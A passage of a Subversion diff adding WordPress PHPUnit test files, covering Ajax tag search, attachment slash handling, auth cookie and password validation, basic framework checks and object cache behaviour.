+	 * Test that charset in header matches blog_charset
+	 * Note:  headers_list doesn't work properly in CLI mode, fall back on
+	 * xdebug_get_headers if it's available
+	 * Needs a separate process to get around the headers/output from the
+	 * bootstrapper
+	 * @ticket 19448
+	 * @runInSeparateProcess
+	 */
+	public function test_response_charset_in_header() {
+
+		if ( !function_exists( 'xdebug_get_headers' ) ) {
+			$this->markTestSkipped( 'xdebug is required for this test' );
+		}
+
+		// Generate an ajax response
+		ob_start();
+		$ajax_response = new WP_Ajax_Response();
+		$ajax_response->send();
+
+		// Check the header
+		$headers = xdebug_get_headers();
+		ob_end_clean();
+
+		$this->assertTrue( in_array( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ), $headers ) );
+	}
+
+	/**
+	 * Test that charset in the xml tag matches blog_charset
+	 * @ticket 19448
+	 */
+	public function test_response_charset_in_xml() {
+
+		// Generate an ajax response
+		ob_start();
+		$ajax_response = new WP_Ajax_Response();
+		$ajax_response->send();
+
+		// Check the XML tag
+		$contents = ob_get_clean();
+		$this->assertRegExp( '/<\?xml\s+version=\'1.0\'\s+encoding=\'' . preg_quote( get_option( 'blog_charset' ) ) . '\'\s+standalone=\'yes\'\?>/', $contents );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/ajax/TagSearch.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/ajax/TagSearch.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/ajax/TagSearch.php	(revision 33402)
@@ -0,0 +1,152 @@
+<?php
+
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax tag search functionality
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ * @group      ajax
+ */
+class Tests_Ajax_TagSearch extends WP_Ajax_UnitTestCase {
+
+	/**
+	 * List of terms to insert on setup
+	 * @var array
+	 */
+	private $_terms = array(
+		'chattels', 'depo', 'energumen', 'figuriste', 'habergeon', 'impropriation'
+	);
+
+	/**
+	 * Setup
+	 * @todo use a term factory
+	 */
+	public function setUp() {
+		parent::setUp();
+
+		foreach ( $this->_terms as $term )
+			wp_insert_term( $term, 'post_tag' );
+	}
+
+	/**
+	 * Test as an admin
+	 */
+	public function test_post_tag() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_GET['tax'] = 'post_tag';
+		$_GET['q']   = 'chat';
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'ajax-tag-search' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Ensure we found the right match
+		$this->assertEquals( $this->_last_response, 'chattels' );
+	}
+
+	/**
+	 * Test with no results
+	 */
+	public function test_no_results() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_GET['tax'] = 'post_tag';
+		$_GET['q']   = md5(uniqid());
+
+		// Make the request
+		// No output, so we get a stop exception
+		$this->setExpectedException( 'WPAjaxDieStopException', '0' );
+		$this->_handleAjax( 'ajax-tag-search' );
+	}
+
+	/**
+	 * Test with commas
+	 */
+	public function test_with_comma() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_GET['tax'] = 'post_tag';
+		$_GET['q']   = 'some,nonsense, terms,chat'; // Only the last term in the list is searched
+
+		// Make the request
+		try {
+			$this->_handleAjax( 'ajax-tag-search' );
+		} catch ( WPAjaxDieContinueException $e ) {
+			unset( $e );
+		}
+
+		// Ensure we found the right match
+		$this->assertEquals( $this->_last_response, 'chattels' );
+	}
+
+	/**
+	 * Test as a logged out user
+	 */
+	public function test_logged_out() {
+
+		// Log out
+		wp_logout();
+
+		// Set up a default request
+		$_GET['tax'] = 'post_tag';
+		$_GET['q']   = 'chat';
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'ajax-tag-search' );
+	}
+
+	/**
+	 * Test with an invalid taxonomy type
+	 */
+	public function test_invalid_tax() {
+
+		// Become an administrator
+		$this->_setRole( 'administrator' );
+
+		// Set up a default request
+		$_GET['tax'] = 'invalid-taxonomy';
+		$_GET['q']   = 'chat';
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '0' );
+		$this->_handleAjax( 'ajax-tag-search' );
+	}
+
+	/**
+	 * Test as an unprivileged user
+	 */
+	public function test_unprivileged_user() {
+
+		// Become an administrator
+		$this->_setRole( 'subscriber' );
+
+		// Set up a default request
+		$_GET['tax'] = 'post_tag';
+		$_GET['q']   = 'chat';
+
+		// Make the request
+		$this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+		$this->_handleAjax( 'ajax-tag-search' );
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/attachment/slashes.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/attachment/slashes.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/attachment/slashes.php	(revision 33402)
@@ -0,0 +1,63 @@
+<?php
+
+/**
+ * @group attachment
+ * @group slashes
+ * @ticket 21767
+ */
+class Tests_Attachment_Slashes extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+		$this->author_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+		$this->old_current_user = get_current_user_id();
+		wp_set_current_user( $this->author_id );
+
+		// it is important to test with both even and odd numbered slashes as
+		// kses does a strip-then-add slashes in some of it's function calls
+		$this->slash_1 = 'String with 1 slash \\';
+		$this->slash_2 = 'String with 2 slashes \\\\';
+		$this->slash_3 = 'String with 3 slashes \\\\\\';
+		$this->slash_4 = 'String with 4 slashes \\\\\\\\';
+		$this->slash_5 = 'String with 5 slashes \\\\\\\\\\';
+		$this->slash_6 = 'String with 6 slashes \\\\\\\\\\\\';
+		$this->slash_7 = 'String with 7 slashes \\\\\\\\\\\\\\';
+	}
+
+	function tearDown() {
+		wp_set_current_user( $this->old_current_user );
+		parent::tearDown();
+	}
+
+	/**
+	 * Tests the model function that expects slashed data
+	 *
+	 */
+	function test_wp_insert_attachment() {
+		$id = wp_insert_attachment(array(
+			'post_status' => 'publish',
+			'post_title' => $this->slash_1,
+			'post_content_filtered' => $this->slash_3,
+			'post_excerpt' => $this->slash_5,
+			'post_type' => 'post'
+		));
+		$post = get_post( $id );
+
+		$this->assertEquals( wp_unslash( $this->slash_1 ), $post->post_title );
+		$this->assertEquals( wp_unslash( $this->slash_3 ), $post->post_content_filtered );
+		$this->assertEquals( wp_unslash( $this->slash_5 ), $post->post_excerpt );
+
+		$id = wp_insert_attachment(array(
+			'post_status' => 'publish',
+			'post_title' => $this->slash_2,
+			'post_content_filtered' => $this->slash_4,
+			'post_excerpt' => $this->slash_6,
+			'post_type' => 'post'
+		));
+		$post = get_post( $id );
+
+		$this->assertEquals( wp_unslash( $this->slash_2 ), $post->post_title );
+		$this->assertEquals( wp_unslash( $this->slash_4 ), $post->post_content_filtered );
+		$this->assertEquals( wp_unslash( $this->slash_6 ), $post->post_excerpt );
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/auth.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/auth.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/auth.php	(revision 33402)
@@ -0,0 +1,164 @@
+<?php
+
+/**
+ * @group pluggable
+ * @group auth
+ */
+class Tests_Auth extends WP_UnitTestCase {
+	var $user_id;
+
+	function setUp() {
+		parent::setUp();
+		$this->user_id = $this->factory->user->create();
+
+		$_SERVER['REQUEST_METHOD'] = null;
+	}
+
+	function test_auth_cookie_valid() {
+		$cookie = wp_generate_auth_cookie( $this->user_id, time() + 3600, 'auth' );
+		$this->assertEquals( $this->user_id, wp_validate_auth_cookie( $cookie, 'auth' ) );
+	}
+
+	function test_auth_cookie_invalid() {
+		// 3600 or less and +3600 may occur in wp_validate_auth_cookie(),
+		// as an ajax test may have defined DOING_AJAX, failing the test.
+
+		$cookie = wp_generate_auth_cookie( $this->user_id, time() - 7200, 'auth' );
+		$this->assertEquals( false, wp_validate_auth_cookie( $cookie, 'auth' ), 'expired cookie' );
+
+		$cookie = wp_generate_auth_cookie( $this->user_id, time() + 3600, 'auth' );
+		$this->assertEquals( false, wp_validate_auth_cookie( $cookie, 'logged_in' ), 'wrong auth scheme' );
+
+		$cookie = wp_generate_auth_cookie( $this->user_id, time() + 3600, 'auth' );
+		list($a, $b, $c) = explode('|', $cookie);
+		$cookie = $a . '|' . ($b + 1) . '|' . $c;
+		$this->assertEquals( false, wp_validate_auth_cookie( $this->user_id, 'auth' ), 'altered cookie' );
+	}
+
+	function test_auth_cookie_scheme() {
+		// arbitrary scheme name
+		$cookie = wp_generate_auth_cookie( $this->user_id, time() + 3600, 'foo' );
+		$this->assertEquals( $this->user_id, wp_validate_auth_cookie( $cookie, 'foo' ) );
+
+		// wrong scheme name - should fail
+		$cookie = wp_generate_auth_cookie( $this->user_id, time() + 3600, 'foo' );
+		$this->assertEquals( false, wp_validate_auth_cookie( $cookie, 'bar' ) );
+	}
+
+	/**
+	 * @ticket 23494
+	 */
+	function test_password_trimming() {
+		$another_user = $this->factory->user->create( array( 'user_login' => 'password-triming-tests' ) );
+
+		$passwords_to_test = array(
+			'a password with no trailing or leading spaces',
+			'a password with trailing spaces ',
+			' a password with leading spaces',
+			' a password with trailing and leading spaces ',
+		);
+
+		foreach( $passwords_to_test as $password_to_test ) {
+			wp_set_password( $password_to_test, $another_user );
+			$authed_user = wp_authenticate( 'password-triming-tests', $password_to_test );
+
+			$this->assertInstanceOf( 'WP_User', $authed_user );
+			$this->assertEquals( $another_user, $authed_user->ID );
+		}
+	}
+
+	/**
+	 * Test wp_hash_password trims whitespace
+	 *
+	 * This is similar to test_password_trimming but tests the "lower level"
+	 * wp_hash_password function
+	 *
+	 * @ticket 24973
+	 */
+	function test_wp_hash_password_trimming() {
+
+		$password = ' pass with leading whitespace';
+		$this->assertTrue( wp_check_password( 'pass with leading whitespace', wp_hash_password( $password ) ) );
+
+		$password = 'pass with trailing whitespace ';
+		$this->assertTrue( wp_check_password( 'pass with trailing whitespace', wp_hash_password( $password ) ) );
+
+		$password = ' pass with whitespace ';
+		$this->assertTrue( wp_check_password( 'pass with whitespace', wp_hash_password( $password ) ) );
+
+		$password = "pass with new line \n";
+		$this->assertTrue( wp_check_password( 'pass with new line', wp_hash_password( $password ) ) );
+
+		$password = "pass with vertial tab o_O\x0B";
+		$this->assertTrue( wp_check_password( 'pass with vertial tab o_O', wp_hash_password( $password ) ) );
+	}
+
+	/**
+	 * @ticket 29217
+	 */
+	function test_wp_verify_nonce_with_empty_arg() {
+		$this->assertFalse( wp_verify_nonce( '' ) );
+		$this->assertFalse( wp_verify_nonce( null ) );
+	}
+
+	/**
+	 * @ticket 29542
+	 */
+	function test_wp_verify_nonce_with_integer_arg() {
+		$this->assertFalse( wp_verify_nonce( 1 ) );
+	}
+
+	function test_password_length_limit() {
+		$passwords = array(
+			str_repeat( 'a', 4095 ), // short
+			str_repeat( 'a', 4096 ), // limit
+			str_repeat( 'a', 4097 ), // long
+		);
+
+		$user_id = $this->factory->user->create( array( 'user_login' => 'password-length-test' ) );
+
+		wp_set_password( $passwords[1], $user_id );
+		$user = get_user_by( 'id', $user_id );
+		// phpass hashed password
+		$this->assertStringStartsWith( '$P$', $user->data->user_pass );
+
+		$user = wp_authenticate( 'password-length-test', $passwords[0] );
+		// Wrong Password
+		$this->assertInstanceOf( 'WP_Error', $user );
+
+		$user = wp_authenticate( 'password-length-test', $passwords[1] );
+		$this->assertInstanceOf( 'WP_User', $user );
+		$this->assertEquals( $user_id, $user->ID );
+
+		$user = wp_authenticate( 'password-length-test', $passwords[2] );
+		// Wrong Password
+		$this->assertInstanceOf( 'WP_Error', $user );
+
+
+		wp_set_password( $passwords[2], $user_id );
+		$user = get_user_by( 'id', $user_id );
+		// Password broken by setting it to be too long.
+		$this->assertEquals( '*', $user->data->user_pass );
+
+		$user = wp_authenticate( 'password-length-test', '*' );
+		$this->assertInstanceOf( 'WP_Error', $user );
+
+		$user = wp_authenticate( 'password-length-test', '*0' );
+		$this->assertInstanceOf( 'WP_Error', $user );
+
+		$user = wp_authenticate( 'password-length-test', '*1' );
+		$this->assertInstanceOf( 'WP_Error', $user );
+
+		$user = wp_authenticate( 'password-length-test', $passwords[0] );
+		// Wrong Password
+		$this->assertInstanceOf( 'WP_Error', $user );
+
+		$user = wp_authenticate( 'password-length-test', $passwords[1] );
+		// Wrong Password
+		$this->assertInstanceOf( 'WP_Error', $user );
+
+		$user = wp_authenticate( 'password-length-test', $passwords[2] );
+		// Password broken by setting it to be too long.
+		$this->assertInstanceOf( 'WP_Error', $user );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/basic.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/basic.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/basic.php	(revision 33402)
@@ -0,0 +1,180 @@
+<?php
+/**
+ * just make sure the test framework is working
+ *
+ * @group testsuite
+ */
+class Tests_Basic extends WP_UnitTestCase {
+	var $val;
+
+	function setUp() {
+		parent::setUp();
+		$this->val = true;
+	}
+
+	function tearDown() {
+		$this->val = false;
+		parent::tearDown();
+	}
+
+	function test_true() {
+		$this->assertTrue($this->val);
+	}
+
+	function test_readme() {
+		$readme = file_get_contents( ABSPATH . 'readme.html' );
+		preg_match( '#<br /> Version (.*)#', $readme, $matches );
+		list( $version ) = explode( '-', $GLOBALS['wp_version'] );
+		$this->assertEquals( $version, trim( $matches[1] ), "readme.html's version needs to be updated to $version." );
+	}
+
+	function test_license() {
+		$license = file_get_contents( ABSPATH . 'license.txt' );
+		preg_match( '#Copyright (\d+) by the contributors#', $license, $matches );
+		$this_year = date( 'Y' );
+		$this->assertEquals( $this_year, trim( $matches[1] ), "license.txt's year needs to be updated to $this_year." );
+	}
+
+	function test_package_json() {
+		$package_json = file_get_contents( dirname( ABSPATH ) . '/package.json' );
+		$package_json = json_decode( $package_json, true );
+		list( $version ) = explode( '-', $GLOBALS['wp_version'] );
+		// package.json uses x.y.z, so fill cleaned $wp_version for .0 releases
+		if ( 1 == substr_count( $version, '.' ) ) {
+			$version .= '.0';
+		}
+		$this->assertEquals( $version, $package_json['version'], "package.json's version needs to be updated to $version." );
+	}
+
+	// two tests for a lame bug in PHPUnit that broke the $GLOBALS reference
+	function test_globals() {
+		global $test_foo;
+		$test_foo = array('foo', 'bar', 'baz');
+
+		function test_globals_foo() {
+			unset($GLOBALS['test_foo'][1]);
+		}
+
+		test_globals_foo();
+
+		$this->assertEquals($test_foo, array(0=>'foo', 2=>'baz'));
+		$this->assertEquals($test_foo, $GLOBALS['test_foo']);
+	}
+
+	function test_globals_bar() {
+		global $test_bar;
+		$test_bar = array('a', 'b', 'c');
+		$this->assertEquals($test_bar, $GLOBALS['test_bar']);
+	}
+
+	// test some helper utility functions
+
+	function test_strip_ws() {
+		$this->assertEquals('', strip_ws(''));
+		$this->assertEquals('foo', strip_ws('foo'));
+		$this->assertEquals('', strip_ws("\r\n\t  \n\r\t"));
+
+		$in  = "asdf\n";
+		$in .= "asdf asdf\n";
+		$in .= "asdf     asdf\n";
+		$in .= "\tasdf\n";
+		$in .= "\tasdf\t\n";
+		$in .= "\t\tasdf\n";
+		$in .= "foo bar\n\r\n";
+		$in .= "foo\n";
+
+		$expected  = "asdf\n";
+		$expected .= "asdf asdf\n";
+		$expected .= "asdf     asdf\n";
+		$expected .= "asdf\n";
+		$expected .= "asdf\n";
+		$expected .= "asdf\n";
+		$expected .= "foo bar\n";
+		$expected .= "foo";
+
+		$this->assertEquals($expected, strip_ws($in));
+
+	}
+
+	function test_mask_input_value() {
+		$in = <<<EOF
+<h2>Assign Authors</h2>
+<p>To make it easier for you to edit and save the imported posts and drafts, you may want to change the name of the author of the posts. For example, you may want to import all the entries as <code>admin</code>s entries.</p>
+<p>If a new user is created by WordPress, the password will be set, by default, to "changeme". Quite suggestive, eh? ;)</p>
+        <ol id="authors"><form action="?import=wordpress&amp;step=2&amp;id=" method="post"><input type="hidden" name="_wpnonce" value="855ae98911" /><input type="hidden" name="_wp_http_referer" value="wp-test.php" /><li>Current author: <strong>Alex Shiels</strong><br />Create user  <input type="text" value="Alex Shiels" name="user[]" maxlength="30"> <br /> or map to existing<select name="userselect[0]">
+EOF;
+		// _wpnonce value should be replaced with 'xxx'
+		$expected = <<<EOF
+<h2>Assign Authors</h2>
+<p>To make it easier for you to edit and save the imported posts and drafts, you may want to change the name of the author of the posts. For example, you may want to import all the entries as <code>admin</code>s entries.</p>
+<p>If a new user is created by WordPress, the password will be set, by default, to "changeme". Quite suggestive, eh? ;)</p>
+        <ol id="authors"><form action="?import=wordpress&amp;step=2&amp;id=" method="post"><input type="hidden" name="_wpnonce" value="***" /><input type="hidden" name="_wp_http_referer" value="wp-test.php" /><li>Current author: <strong>Alex Shiels</strong><br />Create user  <input type="text" value="Alex Shiels" name="user[]" maxlength="30"> <br /> or map to existing<select name="userselect[0]">
+EOF;
+		$this->assertEquals($expected, mask_input_value($in));
+	}
+
+	function test_setting_nonexistent_arrays() {
+		$page = 1;
+		$field = 'settings';
+
+		$empty_array[$page][$field] = 'foo';
+
+		unset( $empty_array[$page]['bar']['baz'] );
+	}
+
+	function test_magic_getter() {
+		$basic = new Basic_Object();
+
+		$this->assertEquals( 'bar', $basic->foo );
+	}
+
+	function test_subclass_magic_getter() {
+		$basic = new Basic_Subclass();
+
+		$this->assertEquals( 'bar', $basic->foo );
+	}
+
+	function test_call_method() {
+		$basic = new Basic_Object();
+
+		$this->assertEquals( 'maybe', $basic->callMe() );
+	}
+
+	function test_subclass_call_method() {
+		$basic = new Basic_Subclass();
+
+		$this->assertEquals( 'maybe', $basic->callMe() );
+	}
+
+	function test_subclass_isset() {
+		$basic = new Basic_Subclass();
+
+		$this->assertTrue( isset( $basic->foo ) );
+	}
+
+	function test_subclass_unset() {
+		$basic = new Basic_Subclass();
+
+		unset( $basic->foo );
+
+		$this->assertFalse( isset( $basic->foo ) );
+	}
+
+	function test_switch_order() {
+		$return = $this->_switch_order_helper( 1 );
+		$this->assertEquals( 'match', $return );
+	}
+
+	function _switch_order_helper( $var ) {
+		$return = 'no match';
+		switch ( $var ) {
+		default:
+			break;
+		case 1:
+			$return = 'match';
+			break;
+		}
+
+		return $return;
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/cache.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/cache.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/cache.php	(revision 33402)
@@ -0,0 +1,308 @@
+<?php
+
+/**
+ * @group cache
+ */
+class Tests_Cache extends WP_UnitTestCase {
+	var $cache = NULL;
+
+	function setUp() {
+		parent::setUp();
+		// create two cache objects with a shared cache dir
+		// this simulates a typical cache situation, two separate requests interacting
+		$this->cache =& $this->init_cache();
+	}
+
+	function tearDown() {
+		$this->flush_cache();
+		parent::tearDown();
+	}
+
+	function &init_cache() {
+		$cache = new WP_Object_Cache();
+		$cache->add_global_groups( array( 'global-cache-test', 'users', 'userlogins', 'usermeta', 'user_meta', 'site-transient', 'site-options', 'site-lookup', 'blog-lookup', 'blog-details', 'rss', 'global-posts', 'blog-id-cache' ) );
+		return $cache;
+	}
+
+	function test_miss() {
+		$this->assertEquals(NULL, $this->cache->get(rand_str()));
+	}
+
+	function test_add_get() {
+		$key = rand_str();
+		$val = rand_str();
+
+		$this->cache->add($key, $val);
+		$this->assertEquals($val, $this->cache->get($key));
+	}
+
+	function test_add_get_0() {
+		$key = rand_str();
+		$val = 0;
+
+		// you can store zero in the cache
+		$this->cache->add($key, $val);
+		$this->assertEquals($val, $this->cache->get($key));
+	}
+
+	function test_add_get_null() {
+		$key = rand_str();
+		$val = null;
+
+		$this->assertTrue( $this->cache->add($key, $val) );
+		// null is converted to empty string
+		$this->assertEquals( '', $this->cache->get($key) );
+	}
+
+	function test_add() {
+		$key = rand_str();
+		$val1 = rand_str();
+		$val2 = rand_str();
+
+		// add $key to the cache
+		$this->assertTrue($this->cache->add($key, $val1));
+		$this->assertEquals($val1, $this->cache->get($key));
+		// $key is in the cache, so reject new calls to add()
+		$this->assertFalse($this->cache->add($key, $val2));
+		$this->assertEquals($val1, $this->cache->get($key));
+	}
+
+	function test_replace() {
+		$key = rand_str();
+		$val = rand_str();
+		$val2 = rand_str();
+
+		// memcached rejects replace() if the key does not exist
+		$this->assertFalse($this->cache->replace($key, $val));
+		$this->assertFalse($this->cache->get($key));
+		$this->assertTrue($this->cache->add($key, $val));
+		$this->assertEquals($val, $this->cache->get($key));
+		$this->assertTrue($this->cache->replace($key, $val2));
+		$this->assertEquals($val2, $this->cache->get($key));
+	}
+
+	function test_set() {
+		$key = rand_str();
+		$val1 = rand_str();
+		$val2 = rand_str();
+
+		// memcached accepts set() if the key does not exist
+		$this->assertTrue($this->cache->set($key, $val1));
+		$this->assertEquals($val1, $this->cache->get($key));
+		// Second set() with same key should be allowed
+		$this->assertTrue($this->cache->set($key, $val2));
+		$this->assertEquals($val2, $this->cache->get($key));
+	}
+
+	function test_flush() {
+		global $_wp_using_ext_object_cache;
+
+		if ( $_wp_using_ext_object_cache )
+			return;
+
+		$key = rand_str();
+		$val = rand_str();
+
+		$this->cache->add($key, $val);
+		// item is visible to both cache objects
+		$this->assertEquals($val, $this->cache->get($key));
+		$this->cache->flush();
+		// If there is no value get returns false.
+		$this->assertFalse($this->cache->get($key));
+	}
+
+	// Make sure objects are cloned going to and from the cache
+	function test_object_refs() {
+		$key = rand_str();
+		$object_a = new stdClass;
+		$object_a->foo = 'alpha';
+		$this->cache->set( $key, $object_a );
+		$object_a->foo = 'bravo';
+		$object_b = $this->cache->get( $key );
+		$this->assertEquals( 'alpha', $object_b->foo );
+		$object_b->foo = 'charlie';
+		$this->assertEquals( 'bravo', $object_a->foo );
+
+		$key = rand_str();
+		$object_a = new stdClass;
+		$object_a->foo = 'alpha';
+		$this->cache->add( $key, $object_a );
+		$object_a->foo = 'bravo';
+		$object_b = $this->cache->get( $key );
+		$this->assertEquals( 'alpha', $object_b->foo );
+		$object_b->foo = 'charlie';
+		$this->assertEquals( 'bravo', $object_a->foo );
+	}
+
+	function test_incr() {
+		$key = rand_str();
+
+		$this->assertFalse( $this->cache->incr( $key ) );
+
+		$this->cache->set( $key, 0 );
+		$this->cache->incr( $key );
+		$this->assertEquals( 1, $this->cache->get( $key ) );
+
+		$this->cache->incr( $key, 2 );
+		$this->assertEquals( 3, $this->cache->get( $key ) );
+	}
+
+	function test_wp_cache_incr() {
+		$key = rand_str();
+
+		$this->assertFalse( wp_cache_incr( $key ) );
+
+		wp_cache_set( $key, 0 );
+		wp_cache_incr( $key );
+		$this->assertEquals( 1, wp_cache_get( $key ) );
+
+		wp_cache_incr( $key, 2 );
+		$this->assertEquals( 3, wp_cache_get( $key ) );
+	}
+
+	function test_decr() {
+		$key = rand_str();
+
+		$this->assertFalse( $this->cache->decr( $key ) );
+
+		$this->cache->set( $key, 0 );
+		$this->cache->decr( $key );
+		$this->assertEquals( 0, $this->cache->get( $key ) );
+
+		$this->cache->set( $key, 3 );
+		$this->cache->decr( $key );
+		$this->assertEquals( 2, $this->cache->get( $key ) );
+
+		$this->cache->decr( $key, 2 );
+		$this->assertEquals( 0, $this->cache->get( $key ) );
+	}
+
+	/**
+	 * @group 21327
+	 */
+	function test_wp_cache_decr() {
+		$key = rand_str();
+
+		$this->assertFalse( wp_cache_decr( $key ) );
+
+		wp_cache_set( $key, 0 );
+		wp_cache_decr( $key );
+		$this->assertEquals( 0, wp_cache_get( $key ) );
+
+		wp_cache_set( $key, 3 );
+		wp_cache_decr( $key );
+		$this->assertEquals( 2, wp_cache_get( $key ) );
+
+		wp_cache_decr( $key, 2 );
+		$this->assertEquals( 0, wp_cache_get( $key ) );
+	}
+
+	function test_delete() {
+		$key = rand_str();
+		$val = rand_str();
+
+		// Verify set
+		$this->assertTrue( $this->cache->set( $key, $val ) );
+		$this->assertEquals( $val, $this->cache->get( $key ) );
+
+		// Verify successful delete
+		$this->assertTrue( $this->cache->delete( $key ) );
+		$this->assertFalse( $this->cache->get( $key ) );
+
+		$this->assertFalse( $this->cache->delete( $key, 'default') );
+	}
+
+	function test_wp_cache_delete() {
+		$key = rand_str();
+		$val = rand_str();
+
+		// Verify set
+		$this->assertTrue( wp_cache_set( $key, $val ) );
+		$this->assertEquals( $val, wp_cache_get( $key ) );
+
+		// Verify successful delete
+		$this->assertTrue( wp_cache_delete( $key ) );
+		$this->assertFalse( wp_cache_get( $key ) );
+
+		// wp_cache_delete() does not have a $force method.
+		// Delete returns (bool) true when key is not set and $force is true
+		// $this->assertTrue( wp_cache_delete( $key, 'default', true ) );
+
+		$this->assertFalse( wp_cache_delete( $key, 'default') );
+	}
+
+	function test_switch_to_blog() {
+		if ( ! method_exists( $this->cache, 'switch_to_blog' ) )
+			return;
+
+		$key = rand_str();
+		$val = rand_str();
+		$val2 = rand_str();
+
+		if ( ! is_multisite() ) {
+			// Single site ingnores switch_to_blog().
+			$this->assertTrue( $this->cache->set( $key, $val ) );
+			$this->assertEquals( $val, $this->cache->get( $key ) );
+			$this->cache->switch_to_blog( 999 );
+			$this->assertEquals( $val, $this->cache->get( $key ) );
+			$this->assertTrue( $this->cache->set( $key, $val2 ) );
+			$this->assertEquals( $val2, $this->cache->get( $key ) );
+			$this->cache->switch_to_blog( get_current_blog_id() );
+			$this->assertEquals( $val2, $this->cache->get( $key ) );
+		} else {
+			// Multisite should have separate per-blog caches
+			$this->assertTrue( $this->cache->set( $key, $val ) );
+			$this->assertEquals( $val, $this->cache->get( $key ) );
+			$this->cache->switch_to_blog( 999 );
+			$this->assertFalse( $this->cache->get( $key ) );
+			$this->assertTrue( $this->cache->set( $key, $val2 ) );
+			$this->assertEquals( $val2, $this->cache->get( $key ) );
+			$this->cache->switch_to_blog( get_current_blog_id() );
+			$this->assertEquals( $val, $this->cache->get( $key ) );
+			$this->cache->switch_to_blog( 999 );
+			$this->assertEquals( $val2, $this->cache->get( $key ) );
+			$this->cache->switch_to_blog( get_current_blog_id() );
+			$this->assertEquals( $val, $this->cache->get( $key ) );
+		}
+
+		// Global group
+		$this->assertTrue( $this->cache->set( $key, $val, 'global-cache-test' ) );
+		$this->assertEquals( $val, $this->cache->get( $key, 'global-cache-test' ) );
+		$this->cache->switch_to_blog( 999 );
+		$this->assertEquals( $val, $this->cache->get( $key, 'global-cache-test' ) );
+		$this->assertTrue( $this->cache->set( $key, $val2, 'global-cache-test' ) );
+		$this->assertEquals( $val2, $this->cache->get( $key, 'global-cache-test' ) );
+		$this->cache->switch_to_blog( get_current_blog_id() );
+		$this->assertEquals( $val2, $this->cache->get( $key, 'global-cache-test' ) );
+	}
+
+	function test_wp_cache_init() {
+		$new_blank_cache_object = new WP_Object_Cache();
+		wp_cache_init();
+
+		global $wp_object_cache;
+		$this->assertEquals( $wp_object_cache, $new_blank_cache_object );
+	}
+
+	function test_wp_cache_replace() {
+		$key  = 'my-key';
+		$val1 = 'first-val';
+		$val2 = 'second-val';
+
+		$fake_key = 'my-fake-key';
+
+		// Save the first value to cache and verify
+		wp_cache_set( $key, $val1 );
+		$this->assertEquals( $val1, wp_cache_get( $key ) );
+
+		// Replace the value and verify
+		wp_cache_replace( $key, $val2 );
+		$this->assertEquals( $val2, wp_cache_get( $key ) );
+
+		// Non-existant key should fail
+		$this->assertFalse( wp_cache_replace( $fake_key, $val1 ) );
+
+		// Make sure $fake_key is not stored
+		$this->assertFalse( wp_cache_get( $fake_key ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/canonical.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/canonical.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/canonical.php	(revision 33402)
@@ -0,0 +1,152 @@
+<?php
+/**
+ * Tests Canonical redirections.
+ *
+ * In the process of doing so, it also tests WP, WP_Rewrite and WP_Query, A fail here may show a bug in any one of these areas.
+ *
+ * @group canonical
+ * @group rewrite
+ * @group query
+ */
+class Tests_Canonical extends WP_Canonical_UnitTestCase {
+	public static function setUpBeforeClass() {
+		self::generate_shared_fixtures();
+	}
+
+	public static function tearDownAfterClass() {
+		self::delete_shared_fixtures();
+	}
+
+	public function setUp() {
+		parent::setUp();
+		wp_set_current_user( self::$author_id );
+	}
+
+	public function tearDown() {
+		wp_set_current_user( self::$old_current_user );
+		parent::tearDown();
+	}
+
+	/**
+	 * @dataProvider data
+	 */
+	function test( $test_url, $expected, $ticket = 0, $expected_doing_it_wrong = array() ) {
+
+		if ( false !== strpos( $test_url, '%d' ) ) {
+			if ( false !== strpos( $test_url, '/?author=%d' ) )
+				$test_url = sprintf( $test_url, self::$author_id );
+			if ( false !== strpos( $test_url, '?cat=%d' ) )
+				$test_url = sprintf( $test_url, self::$terms[ $expected['url'] ] );
+		}
+
+		$this->assertCanonical( $test_url, $expected, $ticket, $expected_doing_it_wrong );
+	}
+
+	function data() {
+		/* Data format:
+		 * [0]: $test_url,
+		 * [1]: expected results: Any of the following can be used
+		 *      array( 'url': expected redirection location, 'qv': expected query vars to be set via the rewrite AND $_GET );
+		 *      array( expected query vars to be set, same as 'qv' above )
+		 *      (string) expected redirect location
+		 * [2]: (optional) The ticket the test refers to, Can be skipped if unknown.
+		 */
+
+		// Please Note: A few test cases are commented out below, Look at the test case following it, in most cases it's simple showing 2 options for the "proper" redirect.
+		return array(
+			// Categories
+
+			array( '?cat=%d', array( 'url' => '/category/parent/' ), 15256 ),
+			array( '?cat=%d', array( 'url' => '/category/parent/child-1/' ), 15256 ),
+			array( '?cat=%d', array( 'url' => '/category/parent/child-1/child-2/' ) ), // no children
